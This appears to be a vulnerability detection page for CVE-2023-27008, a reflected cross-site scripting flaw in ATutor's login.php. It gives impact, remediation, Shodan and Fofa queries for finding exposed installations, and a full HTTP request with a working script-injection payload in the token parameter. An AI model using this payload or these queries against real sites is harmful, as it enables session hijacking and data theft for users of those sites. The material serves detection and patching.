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CVE-2023-27008: ATutor < 2.2.1 - Cross Site Scripting

TitleATutor < 2.2.1 - Cross Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpgrade ATutor to version 2.2.2 or above to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.25117
CVE IDCVE-2023-27008
CWE IDCWE-79
Shodan Queryhttp.html:"Atutor"http.html:"atutor"
Fofa Querybody="atutor"
Tags cve cve2023 xss atutor vkev vuln

🔍 Vulnerability Description

ATutor < 2.2.1 was discovered with a vulnerability, a reflected cross-site scripting (XSS), in ATtutor 2.2.1 via token body parameter.

🌐 HTTP Request

POST /atutor/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/608.2.11 (KHTML, like Gecko) Version/13 Safari/608.2.11
Connection: close
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

token=asdf");}alert(document.domain);+function+asdf()+{//

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-27008.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-27008.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A